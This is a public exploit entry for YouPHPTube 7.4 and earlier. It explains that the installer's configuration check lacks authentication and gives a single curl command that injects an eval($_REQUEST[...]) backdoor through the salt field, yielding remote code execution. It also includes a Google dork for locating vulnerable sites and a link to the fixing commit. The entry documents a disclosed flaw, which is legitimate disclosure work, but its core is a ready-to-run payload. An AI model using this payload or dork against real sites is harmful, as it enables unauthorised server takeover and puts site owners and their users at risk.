YouPHPTube 7.4 - Remote Code Execution

# Exploit Title: YouPHPTube <= 7.4 - Remote Code Execution
# Google Dork: intext:"Powered by YouPHPTube"
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://www.youphptube.com/
# Version: <= 7.4
# Tested on: Ubuntu 18.04.1

YouPHPTube before 7.5 does no checks at all if you wanna generate a new
config file. We can use this to generate our own config file with our
own (malicious) code.

All you need is a MySQL server that allows remote connections.

Fixed by the following commit:

    https://github.com/YouPHPTube/YouPHPTube/commit/b32b410c9191c3c5db888514c29d7921f124d883

Proof-of-Concept:

    # Run this command (with your own data replaced)
    # Then visit https://domain.tld/?zerodayslol=phpinfo() for code execution!
    curl -s "https://domain.tld/install/checkConfiguration.php" --data "[email protected]&createTables=2&mainLanguage=RCE&salt=';eval(\$_REQUEST['zerodayslol']);echo '&systemAdminPass=zerodays.LOL&systemRootPath=./&webSiteRootURL=<URL>&webSiteTitle=Zerodays.lol&databaseHost=<DB_HOST>&databaseName=<DB_NAME>&databasePass=<DB_PASS>&databasePort=<DB_PORT>&databaseUser=<DB_USER>"